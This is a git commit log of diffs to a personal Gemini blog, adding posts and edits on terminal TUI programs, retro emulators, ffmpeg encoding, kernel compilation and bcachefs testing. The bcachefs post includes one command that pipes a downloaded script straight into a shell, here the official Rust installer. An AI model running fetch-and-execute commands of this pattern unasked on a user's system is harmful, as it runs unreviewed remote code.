@@ -174,7 +174,7 @@ sudo spm -g install mandelbrot
 ## clop
 
 clop is an asciinema player in the terminal. 
-=> %baseurl/images/clop.png clop screenshot (image from Star Wars) [IMG]
+=> /blog/images/clop.png clop screenshot (image from Star Wars) [IMG]
 
 ```
 sudo spm -g install clop
@@ -183,7 +183,7 @@ sudo spm -g install clop
 ## timer
 
 Timer shows a progress bar. 
-=> %baseurl/images/timer.png timer screenshot [IMG]
+=> /blog/images/timer.png timer screenshot [IMG]
 
 ```
 sudo spm -g install timer
@@ -194,7 +194,7 @@ sudo spm -g install timer
 plasma is a TUI showing the plasma demo effect. 
 => https://en.wikipedia.org/wiki/Plasma_effect Plasma effect article on wikipedia
 
-=> %baseurl/images/plasma.png plasma screenshot [IMG]
+=> /blog/images/plasma.png plasma screenshot [IMG]
 
 ```
 sudo spm -g install plasma

commit 698c148af2ca19f4ec058250b3bbf25dffe3445d
Author: Remy Noulin <loader2x@gmail.com>
Date:   Sun Feb 11 20:53:06 2024 +0200

    Update

diff --git a/2024-02-11-my-tuis.gmi b/2024-02-11-my-tuis.gmi
new file mode 100644
index 0000000..be24d17
--- /dev/null
+++ b/2024-02-11-my-tuis.gmi
@@ -0,0 +1,203 @@
+# My TUIs
+
+=> feed.gmi Feed
+
+date: 2024-02-11 20:51:50
+
+categories: linux
+
+firstPublishDate: 2024-02-11 20:51:50
+
+My TUIs run in linux terminals and are built with:
+
+* Sheepy (and libsheepy) - my build system
+* Modified version of termbox
+* A widget library (twid)
+* Written in C
+
+There are no dependencies besides sheepy and gcc.
+
+The terminal is configured for RGB 24 bit colors, when using terminal multiplexers (screen, tmux) you might not get 24bit colors.
+
+The TUIs built on twid have these common key shortcuts:
+
+```
+F1     - Help (blue box on screen top)
+q      - Quit
+esc    - Quit/Close help
+`      - Disable/Enable mouse
+ctrl+/ - Change colors (c+7, c+-, c+_)
+ctrl+p - Take a screenshot (as text)
+```
+
+I use i3 and I have shortcuts to start my TUIs on terminal windows, I start my calendar in the st terminal with Win/Cmd Key + d:
+
+```
+bindsym $mod+d exec st -e calendar
+```
+
+After sheepy is installed, the TUIs below are installed like this:
+
+```
+sudo spm -g install PACKAGE_NAME
+```
+
+On my laptop, it takes less than 16ms to start these TUIs.
+
+## Sheepy
+
+Sheepy is a build system for using C as a scripting language like python. It takes less than 5 minutes to install sheepy on a machine:
+
+```
+apt-get install gcc git
+git clone https://spartatek.se/git/sheepy.git
+cd sheepy
+sudo -H ./install.sh
+```
+
+The readme has more details. 
+=> gemini://gmi.noulin.net/sheepy/sheepyReadme.md Sheepy Readme
+
+## paku paku
+
+`paku paku` is a 1D Pacman game created Aba games, to play it tap any button (except q) to turn. Press `q` to quit the game. It is a one button game.
+
+=> https://abagames.github.io/crisp-game-lib-11-games/?pakupaku Original paku paku game (javascript)
+
+I reimplemented `paku paku` in C for the terminal (a font with unicode 15 is required to display correctly).
+
+```
+sudo spm -g install pakupaku
+```
+
+=> %baseurl/images/pakupaku.pz Precompiled executable for linux
+
+=> %baseurl/images/pakupaku.png paku paku screenshot [IMG]
+
+=> %baseurl/images/pakupakuLibrem5.mp4 Video of paku paku running on the librem5 phone
+
+=> https://www.asahi-net.or.jp/~cs8k-cyu/ Aba games
+
+=> https://en.wikipedia.org/wiki/ABA_Games Wikipedia article about Aba games
+
+=> https://github.com/abagames Aba games github
+
+## Missile Command
+
+Missile Command is a clone of the Missile Command arcade game. I modified the code from `https://github.com/johnflakejr/MissileCommand` to run in the terminal. 
+=> %baseurl/images/missileCommand.png Missile Command screenshot [IMG]
+
+```
+sudo spm -g install missileCommand
+```
+
+## tcalc - terminal calculator
+
+Basic tui calculator like the gui calculators. It has decimal, hexadecimal and binary numbers. 
+=> %baseurl/images/tcalc.png tcalc screenshot [IMG]
+
+```
+sudo spm -g install tcalc
+```
+
+## manviewer
+
+manviewer shows the man pages in a searchable tree (like a file explorer) for easy navigation. 
+=> %baseurl/images/manviewer.png manviewer screenshot [IMG]
+
+```
+sudo spm -g install manviewer
+```
+
+## calendar
+
+Calendar shows a month and highlights today's day. Use arrows to change month and year. Calendar supports small screens (5-6 inches). 
+=> %baseurl/images/calendar.png calendar screenshot [IMG]
+
+```
+sudo spm -g install calendar
+```
+
+## radio
+
+radio is an encrypted chat system using UDP to transport the messages. There is only one broadcast channel. 
+=> %baseurl/images/radio.png radio screenshot [IMG]
+
+=> gemini://gmi.noulin.net/radio.gz Precompiled executable for linux
+
+=> gemini://gmi.noulin.net/radio.tar.gz Client source code
+
+## patate
+
+patate is an ascii art editor. It supports unicode, RGB colors, animations... 
+=> %baseurl/images/colorpicker.png patate screenshot [IMG]
+
+=> gemini://gmi.noulin.net/patate/ patate homepage
+
+```
+sudo spm -g install patate
+```
+
+## bato
+
+bato is spartan tui browser for terminals. It can parse gemtext and markdown and browse files on local disk. 
+=> %baseurl/images/bato.png bato screenshot [IMG]
+
+=> %baseurl/images/batoMarkdown.png bato displaying a markdown file [IMG]
+
+=> gemini://gmi.noulin.net/bato.gz bato.gz (gziped elf executable)
+
+```
+sudo spm -g install bato
+```
+
+## heure
+
+heure is a clock similar to tty-clock. 
+=> %baseurl/images/heure.png heure screenshot [IMG]
+
+```
+sudo spm -g install heure
+```
+
+## mandelbrot
+
+mandelbrot is a mandelbrot fractal set explorer. 
+=> %baseurl/images/mandelbrot.png mandelbrot screenshot [IMG]
+
+=> gemini://gmi.noulin.net/mandelbrot.gmi mandelbrot homepage
+
+```
+sudo spm -g install mandelbrot
+```
+
+## clop
+
+clop is an asciinema player in the terminal. 
+=> %baseurl/images/clop.png clop screenshot (image from Star Wars) [IMG]
+
+```
+sudo spm -g install clop
+```
+
+## timer
+
+Timer shows a progress bar. 
+=> %baseurl/images/timer.png timer screenshot [IMG]
+
+```
+sudo spm -g install timer
+```
+
+## plasma
+
+plasma is a TUI showing the plasma demo effect. 
+=> https://en.wikipedia.org/wiki/Plasma_effect Plasma effect article on wikipedia
+
+=> %baseurl/images/plasma.png plasma screenshot [IMG]
+
+```
+sudo spm -g install plasma
+```
+
+=> feed.gmi Feed

commit 6f6607045654230dbc0ecfc1b253016e4c3f773d
Author: Remy Noulin <loader2x@gmail.com>
Date:   Mon Jan 29 13:45:41 2024 +0200

    Update

diff --git a/2020-07-10-emulators-in-debian-buster.gmi b/2020-07-10-emulators-in-debian-buster.gmi
index 7dbfce2..ba50c97 100644
--- a/2020-07-10-emulators-in-debian-buster.gmi
+++ b/2020-07-10-emulators-in-debian-buster.gmi
@@ -30,7 +30,7 @@ I created a few maps for openra, they are available for download at
 => https://resource.openra.net/maps/49836/ Turkey
 , 
 => https://resource.openra.net/maps/52421/ Korea
-. 
+, 
 => https://resource.openra.net/maps/56035/ Caribbean
 .
 

commit 8adff7e4c4b4f01f8824293e3c0886bf15c1a45a
Author: Remy Noulin <loader2x@gmail.com>
Date:   Mon Jan 29 13:45:00 2024 +0200

    Update

diff --git a/2020-07-10-emulators-in-debian-buster.gmi b/2020-07-10-emulators-in-debian-buster.gmi
index a7c1b2a..7dbfce2 100644
--- a/2020-07-10-emulators-in-debian-buster.gmi
+++ b/2020-07-10-emulators-in-debian-buster.gmi
@@ -30,6 +30,8 @@ I created a few maps for openra, they are available for download at
 => https://resource.openra.net/maps/49836/ Turkey
 , 
 => https://resource.openra.net/maps/52421/ Korea
+. 
+=> https://resource.openra.net/maps/56035/ Caribbean
 .
 
 Only the person creating the network game needs to copy the map file to:

commit 1bcf73ae1f059c2c97c88a5f2d8697f63462fbf3
Author: Remy Noulin <loader2x@gmail.com>
Date:   Thu Jan 25 09:24:55 2024 +0200

    Update

diff --git a/2022-05-25-encoding-videos-in-av1-with-ffmpeg.gmi b/2022-05-25-encoding-videos-in-av1-with-ffmpeg.gmi
index 03787b3..3942c72 100644
--- a/2022-05-25-encoding-videos-in-av1-with-ffmpeg.gmi
+++ b/2022-05-25-encoding-videos-in-av1-with-ffmpeg.gmi
@@ -268,6 +268,14 @@ ffmpeg -i IMG_1819.MOV -vf "fps=30,scale=270x480" -c:v mpeg2video -b:v 3000k -c:
 
 The resulting file is 1GB for 1h30 of video with reasonable quality.
 
+# Cutting a video
+
+With ffmpeg, it is possible to cut a long video and make shorter clip, with this command:
+
+```
+ffmpeg "video.mp4" -ss 00:03:00 -c copy -to 00:03:03 clip.mp4
+```
+
 hashtags: #ffmpeg #video #encoding
 
 => feed.gmi Feed
diff --git a/2023-06-24-my-server-is-getting-scanned-all-the-time.gmi b/2023-06-24-my-server-is-getting-scanned-all-the-time.gmi
index 4eddb61..ee6667a 100644
--- a/2023-06-24-my-server-is-getting-scanned-all-the-time.gmi
+++ b/2023-06-24-my-server-is-getting-scanned-all-the-time.gmi
@@ -248,6 +248,12 @@ OS details: Linux 4.4
 Network Distance: 19 hops
 ```
 
+WIRED wrote an article about the creators of the mirai bot:
+
+=> https://www.wired.com/story/mirai-untold-story-three-young-hackers-web-killing-monster/ web: The Mirai Confessions: Three Young Hackers Who Built a Web-Killing Monster
+
+=> gemini://gmi.noulin.net/mobileNews/6681.gmi gemini: The Mirai Confessions: Three Young Hackers Who Built a Web-Killing Monster
+
 The SSH service is the most scanned, the botnets scanning SSH are more widespread than the ones scanning the web servers. These scans come from the same type of networks (data centers, ISPs, mobile networks) and from more geographical locations. I use rate limiter (fail2ban and sshguard) and I get 3 login attempts per minute from 200 ips a day from these type of machines:
 
 * Linux Servers

commit 5d9882079ecaa2b347ccea63401ed75f1ae977b8
Author: Remy Noulin <loader2x@gmail.com>
Date:   Fri Jan 19 10:48:14 2024 +0200

    Update

diff --git a/2021-11-06-how-to-find-personal-pages.gmi b/2021-11-06-how-to-find-personal-pages.gmi
index eecd6a2..92000a2 100644
--- a/2021-11-06-how-to-find-personal-pages.gmi
+++ b/2021-11-06-how-to-find-personal-pages.gmi
@@ -34,4 +34,8 @@ I like lightweight pages with text, it is quite nice and fast to browse these pa
 
 => https://biglist.terraaeon.com/ biglist
 
+* blog directory
+
+=> https://ooh.directory/ ooh.directory
+
 => feed.gmi Feed

commit 6f47851b43864fe4f085f9f981c735872593682c
Author: Remy Noulin <loader2x@gmail.com>
Date:   Tue Jan 16 09:41:15 2024 +0200

    Update

diff --git a/2020-07-10-emulators-in-debian-buster.gmi b/2020-07-10-emulators-in-debian-buster.gmi
index caeec50..a7c1b2a 100644
--- a/2020-07-10-emulators-in-debian-buster.gmi
+++ b/2020-07-10-emulators-in-debian-buster.gmi
@@ -242,6 +242,46 @@ LOAD ""
 Press F6 to play the tape
 ```
 
+# Commodore C64
+
+I installed the `vice` emulator:
+
+```
+apt-get install vice
+
+# the vice package installs:
+# dpkg -L lists files installed by the package
+dpkg -L vice|less
+/usr/bin/c1541
+/usr/bin/cartconv
+/usr/bin/petcat
+/usr/bin/vsid
+/usr/bin/x128
+/usr/bin/x64
+/usr/bin/x64dtv
+/usr/bin/x64sc
+/usr/bin/xcbm2
+/usr/bin/xcbm5x0
+/usr/bin/xpet
+/usr/bin/xplus4
+/usr/bin/xscpu64
+/usr/bin/xvic
+```
+
+Copy roms to `~/.local/share/vice/C64/`:
+
+```
+~/.local/share/vice/C64/kernal-901227-03.bin
+~/.local/share/vice/C64/chargen-901225-01.bin
+~/.local/share/vice/C64/basic-901226-01.bin
+```
+
+Run a game with the command:
+
+```
+x64 "Zaxxon.crt:run me"
+```
+
 # MAME Arcade
 
 I installed `mame` and copied the ROMs to `~/mame/roms/`.
@@ -261,12 +301,6 @@ QT_HOME = /usr/lib/x86_64-linux-gnu/qt5/
 make
 ```
 
-# apt command for installing the emulators in this page
-
-```
-apt-get install fs-uae fs-uae-launcher hatari higan dosbox libsdl1.2-dev fbzx mame
-```
-
 Machines I successfully run in MAME (0.251):
 
 ```
@@ -303,6 +337,12 @@ x68000 no$
 acorn archimedes 310 works a bit - games don't work
 ```
 
+# apt command for installing the emulators in this page
+
+```
+apt-get install fs-uae fs-uae-launcher hatari higan dosbox libsdl1.2-dev fbzx mame
+```
+
 hashtags: #emulators
 
 => feed.gmi Feed

commit 5945b3e2a9e3777a83cdf124b208cf3ae3d56600
Author: Remy Noulin <loader2x@gmail.com>
Date:   Sun Jan 14 21:10:04 2024 +0200

    Update

diff --git a/2020-07-10-emulators-in-debian-buster.gmi b/2020-07-10-emulators-in-debian-buster.gmi
index b4a777e..caeec50 100644
--- a/2020-07-10-emulators-in-debian-buster.gmi
+++ b/2020-07-10-emulators-in-debian-buster.gmi
@@ -1,4 +1,4 @@
-# Emulators in Debian Buster and Bullseye
+# Emulators in Debian Buster, Bullseye and Bookworm
 
 => feed.gmi Feed
 
@@ -64,6 +64,24 @@ And then I start fs-uae and it loads the disk in the configuration:
 
 The next emulator is an atari emulator, I chose `hatari`. `hatari` wants the TOS file to be stored in `/usr/share/hatari/tos.img`, so I downloaded `TOS v1.00 (1986)(Atari Corp)(ST).zip` and unzipped it the required directory. I played a few games, it works fine.
 
+# NES
+
+I installed `fceux` (Debian Bookworm):
+
+```
+apt-get install fceux
+```
+
+To run a game:
+
+```
+fceux ROM.zip
+```
+
+Keys are: arrows, enter, fdsa for buttons
+
+In MAME (0.251), some NES games are working but not all of them.
+
 # Super NES
 
 I installed `higan`, to run a game, enter: `higan ROM.zip`
@@ -72,7 +90,27 @@ I installed `higan`, to run a game, enter: `higan ROM.zip`
 
 `higan` is not available.
 
-I install `mednaffe` instead.
+I installed `mednaffe` and there are problem with sound.
+
+So I compile snes9x, maybe the list of apt packages is not complete because some packages are already installed on my system:
+
+```
+sudo apt-get install ninja-build libsdl2-dev libgtkmm-3.0-dev portaudio19-dev libminizip-dev gettext$
+git clone https://github.com/snes9xgit/snes9x$
+cd snes9x/$
+git submodule update --init --recursive$
+cd gtk/$
+cmake -G Ninja -DCMAKE_INSTALL_PREFIX=/usr -DCMAKE_BUILD_TYPE=Release -S . -B build$
+ninja
+```
+
+To run a game:
+
+```
+./snes9x-gtk ROM.zip
+```
+
+At first start, the keys for the joystick have to be set in the configuration.
 
 # PC emulator
 
@@ -183,6 +221,8 @@ cat
 run"sabre
 ```
 
+In MAME (0.251), the CPC 6128 works well, all the programs I tried are working.
+
 # Sinclair ZX spectrum 48K
 
 I installed `fbzx`, I add to install the spectrum-roms pacakge manually in Debian Bullseye and not all games I tried worked.
@@ -227,6 +267,42 @@ make
 apt-get install fs-uae fs-uae-launcher hatari higan dosbox libsdl1.2-dev fbzx mame
 ```
 
+Machines I successfully run in MAME (0.251):
+
+```
+atari 2600 ok$
+nes ok (not all games)$
+macintosh 128 airborne and sys 1.1 ok$
+megadrive ok$
+gameboy ok$
+atari jaguar mostly ok$
+amstrad cpc 6128 ok
+```
+
+There are some machines I tried to emulate in MAME (0.251) and they were not working:
+
+```
+amiga workbench no$
+amiga games no - hw problems$
+apple lisa no$
+acorn atom no$
+c64/c128 no missing rom mercury31s.u4 not on the internet$
+coco no$
+mo5 no$
+msx1 msx2 no$
+atari 800 no$
+apple 2 gs no
+bbc no$
+commodore pet no, pet 2001 boots but I don't know how to start a program$
+snes no$
+zx spectrum no
+atari st no$
+to7 no$
+vectrex no
+x68000 no$
+acorn archimedes 310 works a bit - games don't work
+```
+
 hashtags: #emulators
 
 => feed.gmi Feed
diff --git a/2023-06-24-my-server-is-getting-scanned-all-the-time.gmi b/2023-06-24-my-server-is-getting-scanned-all-the-time.gmi
index 3677867..4eddb61 100644
--- a/2023-06-24-my-server-is-getting-scanned-all-the-time.gmi
+++ b/2023-06-24-my-server-is-getting-scanned-all-the-time.gmi
@@ -463,6 +463,9 @@ The list of networks I get with these queries is not accurate, some networks bel
 
 Every day I'm adding ASNs to the list, but now I'm getting 2 to 5 bruteforce login attempts a day on the SSH service, which is low compare to where it was at the begining.
 
+Related article: 
+=> https://cheapskatesguide.org/articles/now-blocking.html Now Blocking 56,037,235 IP Addresses, and Counting...
+
 Hashtags: #botnet #malware #security #exploits #zombie #abuse #whois
 
 => feed.gmi Feed
diff --git a/2023-11-22-using-iptables.gmi b/2023-11-22-using-iptables.gmi
index 2686d95..851286b 100644
--- a/2023-11-22-using-iptables.gmi
+++ b/2023-11-22-using-iptables.gmi
@@ -131,4 +131,6 @@ iptables -A INPUT -m set --match-set nets src -j DROP
 Related article from Cheapskate's Guide: 
 => https://cheapskatesguide.org/articles/building-my-own-firewall-pt2.html Building My Own Firewall/Router, Part 2
 
+Hashtags: #networking
+
 => feed.gmi Feed
diff --git a/2023-12-22-about-dlang-and-zig-lang.gmi b/2023-12-22-about-dlang-and-zig-lang.gmi
index 9ef76ca..5678e45 100644
--- a/2023-12-22-about-dlang-and-zig-lang.gmi
+++ b/2023-12-22-about-dlang-and-zig-lang.gmi
@@ -160,4 +160,6 @@ I have been looking for a code coverage tool and I only found hacks. There is no
 * There is a system for running tests
 * Not all SEI CERT C rules are fixed, for example use after free type of errors are possible.
 
+Hashtag: #programming #dlang #zig
+
 => feed.gmi Feed
diff --git a/2023-12-26-compiling-linux-6-7.gmi b/2023-12-26-compiling-linux-6-7.gmi
index 1465817..40a6001 100644
--- a/2023-12-26-compiling-linux-6-7.gmi
+++ b/2023-12-26-compiling-linux-6-7.gmi
@@ -56,4 +56,6 @@ Choose the `Advanced options for Debian GNU/Linux` menu and then the kernel to b
 
 => gitRepositories/systemSetup/file/slackware/kernel.txt.gmi Here the steps for compiling the linux kernel in Slackware 15
 
+Hashtag: #linux
+
 => feed.gmi Feed
diff --git a/2023-12-26-testing-bcachefs.gmi b/2023-12-26-testing-bcachefs.gmi
index 663a7a3..5647208 100644
--- a/2023-12-26-testing-bcachefs.gmi
+++ b/2023-12-26-testing-bcachefs.gmi
@@ -75,4 +75,6 @@ mount
 /dev/sdb1 on /mnt/bcachefs type bcachefs (rw,relatime,compression=lz4)
 ```
 
+Hashtags: #linux #filesystems #bcachefs
+
 => feed.gmi Feed

commit b10e033f08491c213b69e5c3359536bdf3b27f5a
Author: Remy Noulin <loader2x@gmail.com>
Date:   Thu Jan 4 21:27:21 2024 +0200

    Update

diff --git a/2022-05-25-encoding-videos-in-av1-with-ffmpeg.gmi b/2022-05-25-encoding-videos-in-av1-with-ffmpeg.gmi
index afd387e..03787b3 100644
--- a/2022-05-25-encoding-videos-in-av1-with-ffmpeg.gmi
+++ b/2022-05-25-encoding-videos-in-av1-with-ffmpeg.gmi
@@ -1,8 +1,8 @@
-# Encoding videos in AV1 with FFmpeg
+# Encoding videos in AV1, h264 and mpeg2 with FFmpeg
 
 => feed.gmi Feed
 
-date: 2023-02-23 18:11:45
+date: 2024-01-04 19:25:21
 
 categories: linux
 
@@ -244,6 +244,13 @@ ffmpeg -i IMG_1819.MOV -vf scale=540:960 -c:v libx264 -b:v 2000k -pass 1 -an -f
 ffmpeg -i IMG_1819.MOV -vf scale=540:960 -c:v libx264 -b:v 2000k -pass 2 -ac 2 -c:a libopus IMG_1819.mkv
 ```
 
+To be able to play video directly in all web browsers additional parameters are needed `-profile:v main -pix_fmt yuv420p` and for audio `-c:a aac -ac 2 -strict experimental -b:a 128k`, the commands become:
+
+```
+ffmpeg -i IMG_1819.MOV -vf scale=540:960 -c:v libx264 -profile:v main -pix_fmt yuv420p -b:v 2000k -pass 1 -an -f null /dev/null && \
+ffmpeg -i IMG_1819.MOV -vf scale=540:960 -c:v libx264 -profile:v main -pix_fmt yuv420p -b:v 2000k -pass 2 -c:a aac -ac 2 -strict experimental -b:a 128k IMG_1819.mkv
+```
+
 # Encoding in mpeg2 for Intel Pentium M processor 1600MHz
 
 I have a 

commit ceac22c362bf95296f889b4bc6466d82370a7bcc
Author: Remy Noulin <loader2x@gmail.com>
Date:   Sat Dec 30 20:48:50 2023 +0200

    Update

diff --git a/2020-07-10-emulators-in-debian-buster.gmi b/2020-07-10-emulators-in-debian-buster.gmi
index 1a3520d..b4a777e 100644
--- a/2020-07-10-emulators-in-debian-buster.gmi
+++ b/2020-07-10-emulators-in-debian-buster.gmi
@@ -2,7 +2,7 @@
 
 => feed.gmi Feed
 
-date: 2023-02-05 22:38:20
+date: 2023-12-30 20:28:26
 
 categories: emulators
 
@@ -44,6 +44,22 @@ The other players can download the map from the game interface.
 
 Then I installed an amiga emulator: `fs-uae` and `fs-uae-launcher` I played a few games on `fs-uae`, it works great.
 
+## Debian Bookworm
+
+`fs-uae-launcher` is not available anymore. I create the configuration for fs-uae directly in `~/Documents/FS-UAE/Configurations/Default.fs-uae`:
+
+```
+[config]
+amiga_model = A500
+floppy_drive_0 =  /home/user/Downloads/emulators/amiga/Double Dragon (1989)(Virgin).zip
+```
+
+And then I start fs-uae and it loads the disk in the configuration:
+
+```
+> fs-uae
+```
+
 # Atari
 
 The next emulator is an atari emulator, I chose `hatari`. `hatari` wants the TOS file to be stored in `/usr/share/hatari/tos.img`, so I downloaded `TOS v1.00 (1986)(Atari Corp)(ST).zip` and unzipped it the required directory. I played a few games, it works fine.
@@ -52,6 +68,12 @@ The next emulator is an atari emulator, I chose `hatari`. `hatari` wants the TOS
 
 I installed `higan`, to run a game, enter: `higan ROM.zip`
 
+## Debian Bookworm
+
+`higan` is not available.
+
+I install `mednaffe` instead.
+
 # PC emulator
 
 I installed `dosbox`, to run a game, `cd` to the game directory and then enter this:

commit 7fe422048a36b4f153c0f28913a14284e5538f58
Author: Remy Noulin <loader2x@gmail.com>
Date:   Tue Dec 26 17:42:18 2023 +0200

    Update

diff --git a/2021-10-02-newsgroups-on-usenet.gmi b/2021-10-02-newsgroups-on-usenet.gmi
index 375d998..e9f3677 100644
--- a/2021-10-02-newsgroups-on-usenet.gmi
+++ b/2021-10-02-newsgroups-on-usenet.gmi
@@ -131,6 +131,18 @@ The benefits of using an NNTP server for accessing mailing lists are:
 * one click to subscribe to a list
 * access to the archive
 
+Digital mars, dlang developers, have a newsgroup server:
+
+```
+news.digitalmars.com
+```
+
+The linux kernel mailing lists are available on this newsgroup server:
+
+```
+nntp.lore.kernel.org
+```
+
 # The Big-8 newsgroups
 
 The list of newsgroup (

commit 1588b1539e038c0aed437f36416683f0e7c5ead4
Author: Remy Noulin <loader2x@gmail.com>
Date:   Tue Dec 26 17:21:42 2023 +0200

    Update

diff --git a/2023-12-26-compiling-linux-6-7.gmi b/2023-12-26-compiling-linux-6-7.gmi
new file mode 100644
index 0000000..1465817
--- /dev/null
+++ b/2023-12-26-compiling-linux-6-7.gmi
@@ -0,0 +1,59 @@
+# Compiling linux (6.7)
+
+=> feed.gmi Feed
+
+date: 2023-12-26 17:20:52
+
+categories: linux
+
+firstPublishDate: 2023-12-26 17:20:52
+
+Over time, there are more and more dependencies to install to be able to compile linux.
+
+In `.config`, enable or disable like this:
+
+```
+# enable
+CONFIG_KERNEL_XZ=y
+# disable
+# CONFIG_KERNEL_LZO is not set
+```
+
+Disabled options not in this format are considered missing and the makefile will add them as new options.
+
+# In debian bookworm
+
+Install needed packages and clone linux git repo:
+
+```
+apt-get install flex bc debhelper libelf-dev pahole
+git clone -depth=1 https://github.com/torvalds/linux
+cd linux
+```
+
+Configure and build:
+
+```
+cp /boot/config-5.18.0-4-amd64 .config
+# disable as many as modules as possible
+make menuconfig
+
+make -j10 deb-pkg
+# it failed to compile with -10, continue with:
+make deb-pkg
+```
+
+Install the new kernel, it sets up GRUB:
+
+```
+dpkg -i ../linux-image-6.7.0-rc6+_6.7.0-rc6-g3f82f1c3a036-4_amd64.deb
+reboot
+```
+
+Choose the `Advanced options for Debian GNU/Linux` menu and then the kernel to boot.
+
+# In slackware 15
+
+=> gitRepositories/systemSetup/file/slackware/kernel.txt.gmi Here the steps for compiling the linux kernel in Slackware 15
+
+=> feed.gmi Feed
diff --git a/2023-12-26-testing-bcachefs.gmi b/2023-12-26-testing-bcachefs.gmi
new file mode 100644
index 0000000..663a7a3
--- /dev/null
+++ b/2023-12-26-testing-bcachefs.gmi
@@ -0,0 +1,78 @@
+# Testing bcachefs
+
+=> feed.gmi Feed
+
+date: 2023-12-26 17:21:04
+
+categories: linux
+
+firstPublishDate: 2023-12-26 17:21:04
+
+Bcachefs is a COW file system with RAID, snapshots and more. 
+=> https://bcachefs.org/ bcachefs homepage
+
+It has been added to linux 6.7 and to test bcachefs I compiled linux 6.7 rc6+ (latest on master 231223) and created 40GB partition.
+
+It feels faster than ZFS, the algorithms in bcachefs are very efficient. Send and receive are missing, it would allow us to copy snapshots to other machines and an efficient backup system (the all meta data would be sent to the receiving machine and bcachefs stores the checksums on disk, the receiving machine only compares the checksums from the sending machine whereas rsync computes the checksums in both sending and receiving machine for each run).
+
+I saw some open data corruption bugs on the bug tracker so I think bcachefs needs more time to mature.
+
+# Installing bcachefs-tools
+
+Clone the repo:
+
+```
+git clone --depth=1 https://evilpiepirate.org/git/bcachefs-tools.git
+```
+
+To build bcachefs-tools, rust (>1.65) and some dependencies need to be installed:
+
+```
+# install rust
+rustup update
+# or for new install
+curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
+
+apt install -y pkg-config libaio-dev libblkid-dev libkeyutils-dev liblz4-dev libsodium-dev liburcu-dev libzstd-dev uuid-dev zlib1g-dev valgrind libudev-dev udev git build-essential python3 python3-docutils libclang-dev
+```
+
+Build:
+
+```
+make
+make install
+```
+
+# Build linux
+
+Compile a linux kernal with bcachefs enabled in `.config`:
+
+```
+CONFIG_BCACHEFS_FS=y
+```
+
+# Setup a partition and format
+
+```
+fdisk /dev/sdb
+bcachefs format /dev/sdb1
+mkdir /mnt/bcachefs
+mount /dev/sdb1 /mnt/bcachefs/
+
+cd /mnt/bcachefs/
+
+# create a snapshot, snapshots are writable
+bcachefs subvolume snapshot ./snapshot1
+
+# show some statistics:
+bcachefs fs usage /mnt/bcachefs/
+
+# setup compression
+bcachefs set-option --compression=lz4 /dev/sdb1
+
+# mount shows the compression option
+mount
+/dev/sdb1 on /mnt/bcachefs type bcachefs (rw,relatime,compression=lz4)
+```
+
+=> feed.gmi Feed

commit de8f329ac597470c9e3b52ed85952eae2fc8c85c
Author: Remy Noulin <loader2x@gmail.com>
Date:   Mon Dec 25 11:18:11 2023 +0200

    Update

diff --git a/2023-09-14-using-slackware.gmi b/2023-09-14-using-slackware.gmi
index 3182510..430382e 100644
--- a/2023-09-14-using-slackware.gmi
+++ b/2023-09-14-using-slackware.gmi
@@ -23,7 +23,7 @@ The
 site has a lot of additional packages, I found everything I usually install in debian.
 
 In my 
-=> gitRepositories/systemSetup/file/slackware/1-system.sh.gmi setup script
+=> /gitRepositories/systemSetup/file/slackware/1-system.sh.gmi setup script
 , I install `sbotools` which is the package manager for slackbuilds. The command `sboinstall` installs packages and their dependencies.
 
 The packages are compiled and then installed.
@@ -36,7 +36,7 @@ What I like in slackware:
 * the complete distribution is on a single dvd
 
 My install steps are listed in 
-=> gitRepositories/systemSetup/file/slackware/install.txt.gmi install.txt
+=> /gitRepositories/systemSetup/file/slackware/install.txt.gmi install.txt
 .
 
 In the normal install, the setup script asks less questions than the debian installer, it doesn't setup the network. When the setup is done, a lot of software is preinstalled in the system and ready to be used. In the minimal install, I deselect about 400 packages.
@@ -44,7 +44,7 @@ In the normal install, the setup script asks less questions than the debian inst
 The packages are less granular than in debian (to get qmake, the qt5 package has to be installed and in the debian there is the qt5-qmake package)
 
 I find the setup of self compiled linux kernels quite straight forward and without issues, lilo is simple to configure: 
-=> gitRepositories/systemSetup/file/slackware/kernel.txt.gmi Here the steps for compiling the linux kernel
+=> /gitRepositories/systemSetup/file/slackware/kernel.txt.gmi Here the steps for compiling the linux kernel
 
 I upgraded the system to current branch and it crashed:
 

commit 98d5b8a8bae19064625b4aa8ee735280e7973d58
Author: Remy Noulin <loader2x@gmail.com>
Date:   Mon Dec 25 11:16:49 2023 +0200

    Update

diff --git a/2023-09-14-using-slackware.gmi b/2023-09-14-using-slackware.gmi
index bd0d15a..3182510 100644
--- a/2023-09-14-using-slackware.gmi
+++ b/2023-09-14-using-slackware.gmi
@@ -23,7 +23,7 @@ The
 site has a lot of additional packages, I found everything I usually install in debian.
 
 In my 
-=> gemini://gmi.noulin.net/gitRepositories/systemSetup/file/slackware/1-system.sh.gmi setup script
+=> gitRepositories/systemSetup/file/slackware/1-system.sh.gmi setup script
 , I install `sbotools` which is the package manager for slackbuilds. The command `sboinstall` installs packages and their dependencies.
 
 The packages are compiled and then installed.
@@ -36,7 +36,7 @@ What I like in slackware:
 * the complete distribution is on a single dvd
 
 My install steps are listed in 
-=> gemini://gmi.noulin.net/gitRepositories/systemSetup/file/slackware/install.txt.gmi install.txt
+=> gitRepositories/systemSetup/file/slackware/install.txt.gmi install.txt
 .
 
 In the normal install, the setup script asks less questions than the debian installer, it doesn't setup the network. When the setup is done, a lot of software is preinstalled in the system and ready to be used. In the minimal install, I deselect about 400 packages.
@@ -44,7 +44,7 @@ In the normal install, the setup script asks less questions than the debian inst
 The packages are less granular than in debian (to get qmake, the qt5 package has to be installed and in the debian there is the qt5-qmake package)
 
 I find the setup of self compiled linux kernels quite straight forward and without issues, lilo is simple to configure: 
-=> gemini://gmi.noulin.net/gitRepositories/systemSetup/file/slackware/kernel.txt.gmi Here the steps for compiling the linux kernel
+=> gitRepositories/systemSetup/file/slackware/kernel.txt.gmi Here the steps for compiling the linux kernel
 
 I upgraded the system to current branch and it crashed:
 

commit 35ade31b881e3054f5cea004d98678a3091f4b71
Author: Remy Noulin <loader2x@gmail.com>
Date:   Fri Dec 22 10:59:19 2023 +0200

    Update

diff --git a/2023-12-22-about-dlang-and-zig-lang.gmi b/2023-12-22-about-dlang-and-zig-lang.gmi
new file mode 100644
index 0000000..9ef76ca
--- /dev/null
+++ b/2023-12-22-about-dlang-and-zig-lang.gmi
@@ -0,0 +1,163 @@
+# About Dlang and zig lang
+
+=> feed.gmi Feed
+
+date: 2023-12-22 10:54:26
+
+categories: programming
+
+firstPublishDate: 2023-12-22 10:54:26
+
